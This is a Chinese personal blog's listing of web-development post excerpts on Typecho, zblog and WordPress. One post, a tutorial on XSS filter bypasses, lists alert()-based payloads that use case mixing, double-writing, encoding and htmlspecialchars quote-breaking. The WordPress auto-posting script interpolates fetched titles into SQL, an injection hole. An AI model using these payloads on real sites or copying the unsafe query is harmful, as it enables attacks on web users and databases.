首页
友情链接
统计
关于本站
Search
1
毛玻璃UI-小菜狗同款个人主页
2,111 阅读
2
PHP 实现图片验证码之给 Typecho 评论加上验证码
1,508 阅读
3
Typechho网站美化技巧
997 阅读
4
Typecho Joe主题如何增加页码分页功能
824 阅读
5
Typecho个性主题模板
698 阅读
网站源码
Typecho
划水日常
wordpress
zblog
网络教程
游戏
登录
/
注册
Search
标签搜索
主题
教程
插件
网站美化
php
pjax
个人主页
发卡网
CSS
wordpress自定义字段
seo
HTML
wordpress函数代码
简洁
统计
当面付
要饭
ipv6
教材
打赏
小菜狗
累计撰写
123
篇文章
累计收到
52
条评论
首页
栏目
网站源码
Typecho
划水日常
wordpress
zblog
网络教程
游戏
页面
友情链接
统计
关于本站
搜索到
32
篇与
的结果
2023-05-24
zblog自定义文章列表页分页条组件完整代码
开发zblog主题时,文章列表页面的翻页条习惯性使用{template:pagebar}调用,这个标签的作用是调用主题 template 目录下的 pagebar.php 模板,当使用的主题不存在这个模板,则调用默认 default 的 pagebar.php 模板,如果想稍微自定义一下这个翻页的HTML代码,可以把代码提取出来放在自己的主题上。
2023年05月24日
141 阅读
0 评论
6 点赞
2023-05-23
Typecho Joe主题如何增加页码分页功能
Joe主题默认使用的是“点击加载”的分页模式,如果文章比较多的时候翻页有点不太方便,所以想着采用页码分页的方式,预想参照默认模板添加分页函数然后改下CSS样式应该就能实现。
2023年05月23日
824 阅读
3 评论
48 点赞
2023-05-23
WordPress判断指定外观小工具是否启用的函数is_active_widget
WordPress函数 is_active_widget() 的作用是在小工具初始化后,检测某个外观小工具(如搜索小工具)是否被启用(被添加到侧边栏),如果该小工具被启用了,则返回 true 或小工具所在的侧边栏ID,如果该小工具没有被启用,则返回 false 或者小工具所在的侧边栏ID为空。需要注意的是,测试发现该函数好像只对旧版小工具有效,不支持区块小工具。
2023年05月23日
130 阅读
0 评论
3 点赞
2023-05-05
zblog新增自定义数据库表的方法代码
在zblog主题或插件应用开发中,难免会有新增数据库表的需求,直接手动在数据库中新增对于自用应用影响不大,但对于面向众多用户的收费应用就显得很不友好了,因此,通过代码在应用启用的时间自动创建对应的数据库表就很有必要。下面是小菜狗转自Z-Blog官方文库Wiki的以收藏文章功能为例演示zblog php关于自定义数据库表的教程,介绍了建表与增删改查,较为详细。{message type="success" content="该教程代码只验证了MySQL数据库,其余的需要自行验证。"/}教程声明定义数据表结构function 插件ID_defineDatabase() { $database = array( /** * 收藏表 */ '插件ID_Collect' => array( 'table' => '%pre%插件ID_collect', 'datainfo' => array( 'ID' => array('cc_ID', 'integer', '', 0), 'UID' => array('cc_UID', 'integer', '', 0), 'LogID' => array('cc_LogID', 'integer', '', 0), 'CreateTime' => array('cc_CreateTime', 'integer', '', 0), 'Meta' => array('cc_Meta', 'string', '', ''), ), ), ); foreach ($database as $key => $v) { $table = $v['table']; $datainfo = $v['datainfo']; $GLOBALS['table'][$key] = $table; $GLOBALS['datainfo'][$key] = $datainfo; } return $database; } 插件ID_defineDatabase();这是一个声明插件数据表结构的函数。为什么要在定义函数以后就执行?因为需要在插件运行前,将结构信息赋值到全局变量中,来自于c_system_base.php同类风格的声明结构,并不表示就是固定格式,其中建议以类的名称为数据库表的声明key,方便后期的可读性。字段“table”是数据表的名称,用%pre%+插件ID+数据表名称的方式组成。字段“datainfo”是数据字段的结构,有具体的声明结构,可以在zb_system/function/lib/sql/中查看不同数据库的语句拼接。关于datainfo的声明结构说明:根据声明的顺序,数组第一条在MySQL中会加上索引(PRIMARY KEY)。声明的代码结构array('字段名', '类型', '长度参数(根据类型定义)', '默认值');下面是简单演示常用类型的声明,具体的类型可以自行补充MySQL的基础知识// int array('ID', 'integer', '', 0), // tinyint array('Type', 'integer', 'tinyint', 0), // bigint array('EndTime', 'integer', 'bigint', 0), // char array('Value', 'char', 10, ''), // varchar array('Title', 'string', 250, ''), // longtext array('Content', 'string', '', ''),写一个创建数据库表的方法,在启用主题或插件应用的时候执行function 插件ID_createTable() { global $zbp; $database = 插件ID_defineDatabase(); foreach ($database as $k => $v) { if (!$zbp->db->ExistTable($v['table'])) { $s = $zbp->db->sql->CreateTable($v['table'], $v['datainfo']); $zbp->db->QueryMulit($s); } } } // 删表的方法 具体什么时候删,自行决定 function 插件ID_delTable() { global $zbp; $database = 插件ID_defineDatabase(); foreach ($database as $k => $v) { if ($zbp->db->ExistTable($v['table'])) { $s = $zbp->db->sql->DelTable($v['table']); $zbp->db->QueryMulit($s); } } }在插件的启用函数中调用function InstallPlugin_插件ID() { 插件ID_createTable(); }接下来声明一个类继承Base完成基本的增删改查操作class 插件ID_Collect extends Base { /** * 在构造函数中 * 将定义的数据表名称与数据结构交给父类Base去处理 */ public function __construct() { global $zbp; parent::__construct($zbp->table['插件ID_Collect'], $zbp->datainfo['插件ID_Collect'], __CLASS__); // 因为数据中有一条创建时间字段,提前在此赋予默认值 $this->CreateTime = time(); } }基于这个类,就可以进行基本的curd了操作类进行增删改1、新增一条数据function 插件ID_addCollect($userId, $logId) { $collect = new 插件ID_Collect(); $collect->UID = $userId; $collect->LogID = $logId; $collect->Save(); // 保存后,$collect->ID就能输出这条记录的ID了 echo '添加成功'; }如果不操作类进行增加,也可以使用sql插入数据,参考:function 插件ID_addCollect($userId, $logId){ $dataArr = array( 'UID' = $userId, 'LogID' = $logId ); $sql= $zbp->db->sql->insert($GLOBALS['table']['插件ID_addCollect'],$dataArr); $insert = $zbp->db->insert($sql); if($insert){ echo '添加成功'; die(); }else{ echo '添加失败'; die(); 2、更新一条数据function 插件ID_updateCollect($collectId) { $collect = new 插件ID_Collect(); $status = $collect->LoadInfoByID($collectId); if ($status) { $collect->CreateTime = time(); $collect->Save(); } // 这样收藏的时间就变成了最新的 }3、删除一条数据function 插件ID_delCollect($collectId) { $collect = new 插件ID_Collect(); $status = $collect->LoadInfoByID($collectId); if ($status) { $collect->Del(); } }4、查询数据,单独阐述:已知ID的情况,通过上面演示的LoadInfoByID($ID) 就能通过父类Base的方法读取一条数据,在只知道UID和LogID,就需要组装where语句。function 插件ID_getUserCollect($userId, $logId) { global $zbp; $w = array(); $w[] = array('=', 'cc_UID', $userId); $w[] = array('=', 'cc_LogID', $logId); $sql = $zbp->db->sql->Select($zbp->table['插件ID_Collect'], array('*'), $w); $list = $zbp->GetListType('插件ID_Collect', $sql); if (count($list) > 0) { return $list[0]; } return false; }其它的查询,比如查询某用户的指定数量收藏记录function 插件ID_getUserCollectList($userId, $num = 10) { global $zbp; $w = array(); $w[] = array('=', 'cc_UID', $userId); $num = (int) $num > 0 ? (int) $num : 10; $sql = $zbp->db->sql->Select($zbp->table['插件ID_Collect'], array('*'), $w, null, $num); $list = $zbp->GetListType('插件ID_Collect', $sql); return $list; }扩展:多说插件参考#表名 $table['plugin_duoshuo_comment'] = '%pre%plugin_duoshuo_comment'; ###注意表名要加上%pre%可以区分同一数据库中的不同的程序所生成的表 #表结构 $datainfo['plugin_duoshuo_comment'] = array( 'ID' => array('ds_ID','integer','',0), 'key' => array('ds_key','string',128,''), 'cmtid' => array('ds_cmtid','integer','',0) ); #全局声明 global $zbp; #判断是否已创建,否则新建数据表 if(!$zbp->db->ExistTable($GLOBALS['table']['plugin_duoshuo_comment'])) { $s = $zbp->db->sql->CreateTable($GLOBALS['table']['plugin_duoshuo_comment'],$GLOBALS['datainfo']['plugin_duoshuo_comment']); $zbp->db->QueryMulit($s); }{message type="info" content="有区别,但可参考。"/}
2023年05月05日
117 阅读
0 评论
0 点赞
2023-04-25
wordpress每天自动定时发布《每天60秒读懂世界》
修改 32 行的网站域名改为自己的网站域名即可。由于很多站长都添加了这个功能,网上出现了很多相似页面和内容,不利于搜索引擎收录,建议再修改一下文章分类目录的名称和别名。修改位置在第 38 和 40 行。将修改过的代码保存并命名为php拓展名的文件文件上传到网站根目录。在宝塔中添加一个计划任务,选择访问网址,添加网址:https://你的域名/xxxxxx.php<?php $date = file_get_contents("https://www.zhihu.com/api/v4/columns/c_1261258401923026944/items"); $date = json_decode($date); $content = $date->data[0]->content; $pattern ='<img.*?src="(.*?)">'; preg_match($pattern,$content,$matches); $src_path = $matches[1]; $src = imagecreatefromstring(file_get_contents($src_path)); $info = getimagesize($src_path); //裁剪开区域左上角的点的坐标 $x = 0; $y = 0; //裁剪区域的宽和高 $width = 720; $height = 350; //最终保存成图片的宽和高,和源要等比例,否则会变形 $final_width = 720; $final_height = round($final_width * $height / $width); //将裁剪区域复制到新图片上,并根据源和目标的宽高进行缩放或者拉升 $new_image = imagecreatetruecolor($final_width, $final_height); imagecopyresampled($new_image, $src, 0, 0, $x, $y, $final_width, $final_height, $width, $height); $ext = pathinfo($src_path, PATHINFO_EXTENSION); $rand_name = date("Ymd") . "." . $ext; //创建文件夹保存图片 if (!file_exists("60s")){ mkdir ("60s",0777,true); } imagejpeg($new_image,"60s/".$rand_name); imagedestroy($src); imagedestroy($new_image); $content = strip_tags($content,'<p>'); $content = '<img class="size-full wp-image-156 aligncenter" src="https://domain.com/60s/'.$rand_name.'" alt="" width="720" height="350" />'.$content; require __DIR__ . '/wp-config.php'; global $wpdb; date_default_timezone_set('PRC'); $post_tag_arr = array(); //先检查文章分类是否存在 $term_taxonomy_id = $wpdb->get_row("SELECT tt.term_taxonomy_id from $wpdb->terms t join $wpdb->term_taxonomy tt on t.term_id = tt.term_id where t.name = '新闻' and tt.taxonomy = 'category' ")->term_taxonomy_id; if (!$term_taxonomy_id) { $wpdb->query("insert into $wpdb->terms (name,slug,term_group)VALUES('新闻','news','0')"); $category_id = $wpdb->insert_id; $wpdb->query("insert into $wpdb->term_taxonomy (term_id,taxonomy,description,parent,count)VALUES($category_id,'category','','0','1')"); $term_taxonomy_id = $wpdb->insert_id; } $post_tag_arr[] = $term_taxonomy_id; $html = $content; //标题 $title = $date->data[0]->title; //标题存在则不插入 $posts = $wpdb->get_row("SELECT id from $wpdb->posts where post_title = '$title' "); if (!$posts) { $now = current_time('mysql'); $now_gmt = current_time('mysql', 1); $wpdb->insert( $wpdb->posts, array( 'post_author' => 1, 'post_date' => $now, 'post_date_gmt' => $now_gmt, 'post_content' => $html, 'post_title' => $title, 'post_excerpt' => '', 'post_status' => 'publish', 'comment_status' => 'open', 'ping_status' => 'open', 'post_password' => '', 'post_name' => $title, 'to_ping' => '', 'pinged' => '', 'post_modified' => $now, 'post_modified_gmt' => $now_gmt, 'post_content_filtered' => '', 'post_parent' => '0', 'guid' => '',//文章链接 插入后修改 'menu_order' => '0', 'post_type' => 'post', 'post_mime_type' => '', 'comment_count' => '0', ) ); $insertid = $wpdb->insert_id; $post_guid = get_option('home') . '/?p=' . $insertid; $wpdb->query(" UPDATE $wpdb->posts SET guid=$post_guid where id = $insertid "); //插入文章和分类、标签、专题的关系 $sql = " INSERT INTO $wpdb->term_relationships (object_id,term_taxonomy_id,term_order) VALUES "; foreach ($post_tag_arr as $key => $value) { $sql .= "($insertid, $value, '0'),"; } $wpdb->query(rtrim($sql, ",")); }
2023年04月25日
123 阅读
0 评论
0 点赞
2023-04-22
WordPress如何禁用自带的XML站点地图wp-sitemap.xml
WordPress 5.5版本开始自带 XML 站点地图,但先前很多 WordPress 用户都是使用插件或者第三方工具生成的站地点图 XML 文件,而且也不打算更换为 WordPress 自带的 wp-sitemap.xml,这样一来 WordPress 自带的 XML 站点地图就变得多余了,那么也可以选择把 WordPress wp-sitemap.xml 移除禁用了。小菜狗目前知道禁用 WordPress wp-sitemap.xml 的方法有两个,其中之一是把网站的“建议搜索引擎不索引本站点”设置选上,但对于一个要正常被搜索引擎收录的站点来说,这种方法显然不适用。另一个方法就是通过对应的挂靠钩子来禁用 wp-sitemap.xml,把下面的代码添加到主题的 functions.php 文件,保存即可。add_filter( 'wp_sitemaps_enabled', '__return_false' );添加完成后,再访问 /wp-sitemap.xml 就是 404 页面了。
2023年04月22日
165 阅读
0 评论
0 点赞
2023-04-20
typecho安装在子目录的nginx伪静态规则
使用lnmp搭建的服务器环境,Typecho网站安装在子目录和安装在根目录使用的nginx伪静态规则会有差异,如果安装在子目录的typecho网站直接使用根目录的伪静态规则,那么就会出现前台文章打开显示404 Not Found,登陆typecho网站后台也显示404 Not Found的情况,因此子目录的typecho站点要正常访问就要添加对应的伪静态规则,下面的伪静态规则博客吧亲测可用于安装在子目录的typecho站点。子目录typecho站点伪静态规则location /foldername/ { if (!-e $request_filename) { rewrite ^(.*)$ /foldername/index.php$1 last; } }{message type="success" content="把上面伪静态规则中的foldername修改为子目录名称。"/}
2023年04月20日
121 阅读
0 评论
0 点赞
2023-04-10
XSS绕过技巧
简介目前,基本上所有的网站都会防止XSS攻击,会过滤XSS恶意代码。所以学会一定的绕过技巧必不可少。详解大小写混合绕过 payload:<sCRipT>alert('喝了两瓶')</sCrIPt> 双写绕过payload:<sc<script>ript>alert('卡姐姐哦')</scr<script>ipt> 注释绕过payload:<sc<!--test-->ript>alert('看见哈桑')</scr<!--tshauie-->ipt> 编码绕过{message type="success" content="思路:后台有可能会对代码中的关键字进行过滤,但我们可以尝试将关键字进行编码后在插入。注意:编码在输出时是否会被正常识别和翻译才是关键,不是所有的编码都是可以的。"/}一次编码案例#使用事件属性onerror()的原始payload: <img src=# onerror=alert('yangshuang')"/> #使用HTML_ENTITY编码后的payload: <a src=x onerror="alert('yangshuang')"/> 多次编码案例解析如下编码#原始payload <a herf="javascrips:alert(XSS)"> </a> #使用unicode的UTF-16编码alert这个字符 <a herf="javascrips:\u0061\u006C\u0065\u0072\u0074(XSS)"> </a> #再用url编码alert的中间结果 <a herf="javascrips:%5Cu0061%5Cu006C%5Cu0065%5Cu0072%5Cu0074(XSS)"> </a> #最后用html实体编码,再编码整个payload 太长了,略 htmlspecialchars()函数绕过htmlspecialchars()函数是一种常用的PHP函数,用于将特殊字符转换为HTML实体,以防止跨站脚本攻击(XSS)。#该函数的语法: htmlspecialchars(string,flags,character-set,double_encode) #可用的quotestyle类型: ENT_COMPAT - 默认,仅编码双引号 ENT_QUOTES - 编码双引号和单引号 ENT_NOQUOTES - 不编码任何引号 #预定义的字符是: & (和号) 成为 & " (双引号) 成为 " ’ (单引号) 成为 ' < (小于) 成为 < > (大于) 成为 > 过滤原理:htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,从而使XSS攻击失效。但是这个函数默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号# 默认配置下,可使用以下语句绕过: q' onclick='alert(111)' href伪协议绕过当输入的值在 a 标签 herf 里payload:javascript:alert(1111) 直接代入 a 标签 herf 里面,一样可以绕过 htmlspecialchars()函数js输出绕过当目标是用JavaScript脚本输出的,只需闭合原有的表情即可插入代码<script> $ms=' 11111111'</script><script>alert(1111)</script> ; 标签绕过当输入< script >alert(XSS);</ script >没有反应的时候可以再前边加上< svg >,<svg><script>alert(XSS);</script> 当浏览器解析到< svg >标签时,浏览器就开始使用一套新的标准开始解析后面的内容,直到碰到闭合标签。而在这一套新的标准遵循XML解析规则,在XML中实体编码会自动转义,重新来一遍标签开启状态,此时就会执行xss了。
2023年04月10日
105 阅读
0 评论
0 点赞
2023-04-08
Typecho的一些有趣的调用语法
{message type="info" content="总结一些Typecho有趣的调用语法"/}站点名称<?php $this->options->title() ?>站点网址<?php $this->options ->siteUrl(); ?>站点说明<?php $this->options->description() ?>文章/页面的作者<?php $this->author(); ?>作者头像< ?php $this->author->gravatar('40') ?>上下篇调用代码<?php $this->thePrev(); ?> <?php $this->theNext(); ?>判断是否为首页,输出相关内容<?php if ($this->is('index')): ?> //是首页输出内容 <?php else: ?> //不是首页输出内容 <?php endif; ?>文章/页面评论数目<?php $this->commentsNum('No Comments', '1 Comment' , '%d Comments'); ?>截取文章内容显示摘要(350 是字符数)<?php $this->excerpt(350, '.. .'); ?>调用自定义字段<?php $this->fields->fieldName ?>RSS地址<?php $this->options->feedUrl(); ?>获取最新评论列表<ul> <?php $this->widget('Widget_Comments_Recent')->to($comments); ?> <?php while($comments->next()): ?> <li><a href="<?php $comments->permalink(); ?>"><?php $comments->author(false); ?></a>: <?php $comments->excerpt(50, '...'); ?></li> <?php endwhile; ?> </ul>分类名称(无链接)<?php $this->category(',', false); ?>获取文章时间归档<ul> <?php $this->widget('Widget_Contents_Post_Date', 'type=month&format=F Y') ->parse('<li><a href="{permalink}">{date}</a></li>'); ?> </ul>获取标签集合<?php $this->widget('Widget_Metas_Tag_Cloud', 'ignoreZeroCount=1&limit=28')->to($tags); ?> <?php while($tags->next()): ?> <a href="<?php $tags->permalink(); ?>" class="size-<?php $tags->split(5, 10, 20, 30); ?>"><?php $tags->name(); ?></a> <?php endwhile; ?>登陆与未登录用户展示不同内容<?php if($this->user->hasLogin()): ?> //登陆可见 <?php else: ?> //未登录和登陆均可见 <?php endif; ?>自动调用 img 字段内容,如果没有,去文章搜索第 1 个图片<?php if (array_key_exists('img',unserialize($this->___fields()))): ?><?php $this->fields->img(); ?><?php else: ?><?php preg_match_all("/\<img.*?src\=(\'|\")(.*?)(\'|\")[^>]*>/i", $this->content, $matches); $imgCount = count($matches[0]); if($imgCount >= 1){ $img = $matches[2][0]; echo <<<Html {$img} Html; } ?><?php endif; ?>文章内容替换七牛网址<?php echo $str = str_replace("your.com/usr/uploads","your.qiniu.com/usr/uploads",$this->content); ?>文章字数统计在 functions.php 中写入代码: function art_count ($cid){ $db=Typecho_Db::get (); $rs=$db->fetchRow ($db->select ('table.contents.text')->from ('table.contents')->where ('table.contents.cid=?',$cid)->order ('table.contents.cid',Typecho_Db::SORT_ASC)->limit (1)); echo mb_strlen($rs['text'], 'UTF-8'); } 在模板中调用: <?php echo art_count($this->cid); ?>自动调用第 1 个文章图片<?php preg_match_all("/\<img.*?src\=(\'|\")(.*?)(\'|\")[^>]*>/i", $this->content, $matches); $imgCount = count($matches[0]); if($imgCount >= 1){ $img = $matches[2][0]; echo <<<Html <p class="post-images"> <a href="{$this->permalink}" title="{$this->title}"> <img src="{$img}" alt="{$this->title}"> </a> </p> Html; } ?>边栏不显示博主评论<?php $this->widget('Widget_Comments_Recent','ignoreAuthor=true')->to($comments); ?>前台登录表单<form action="<?php $this->options->loginAction()?>" method="post" name="login" rold="form"> <input type="hidden" name="referer" value="<?php $this->options->siteUrl(); ?>"> <input type="text" name="name" autocomplete="username" placeholder="请输入用户名" required/> <input type="password" name="password" autocomplete="current-password" placeholder="请输入密码" required/> <button type="submit">登录</button> </form> 评论增加楼层显示<?php if($comments->levels == 0): ?> <?php if($comments->sequence == 1): ?>沙发 <?php elseif($comments->sequence == 2): ?>板凳 <?php elseif($comments->sequence == 3): ?>地毯 <?php else: ?> 第<?php $comments->sequence(); ?>楼<?php endif; ?> <?php endif; ?> 使用方法:放置在你的评论文件中评论列表循环处。根据文章访问量分等级function Viewlevel($cid){ $db = Typecho_Db::get(); $exist = $db->fetchRow($db->select('str_value')->from('table.fields')->where('cid = ?', $cid))['str_value']; //这里需要将 str_value 修改成你的阅读量数据库字段 if($exist<100){ echo '<span>新文</span>'; }elseif ($exist<300 && $exist>=100) { echo '<span>爽文</span>'; }elseif ($exist<1000 && $exist>=300) { echo '<span>荐文</span>'; }elseif ($exist<5000 && $exist>=1000) { echo '<span>热文</span>'; }elseif ($exist<10000 && $exist>=5000) { echo '<span>头条</span>'; }elseif ($exist<30000 && $exist>=10000) { echo '<span>爆文</span>'; }elseif ($exist>=30000) { echo '<span>神贴</span>'; }} 调用代码:<?php Viewlevel($this->cid); ?> 可以用在首页文章列表页显示,根据页面浏览量分为各种标签,或者也可以像我首页一样替换为图标等等实现那年今日功能全站数据调用<?php Typecho_Widget::widget('Widget_Stat')->to($stat); ?> 文章总数:<?php $stat->publishedPostsNum() ?>篇 分类总数:<?php $stat->categoriesNum() ?>个 评论总数:<?php $stat->publishedCommentsNum() ?>条 页面总数:<?php $stat->publishedPagesNum() ?>页实现功能后台开关按钮function themeConfig($form){ $test = new Typecho_Widget_Helper_Form_Element_Select('test',array(0=>'不开启',1=>'开启'),0,'测试功能','开启网站测试功能'); $form->addInput($test);} 前台放入以下代码: <?php if($this -> options -> test == '1'): ?> 这里可以放执行的代码、样式等内容 <?php endif; ?> 有些不常用的代码或者效果,可以自己加个开关在后台控制,免去每次加了再删除再添加的尴尬。
2023年04月08日
84 阅读
0 评论
0 点赞
1
2
3
4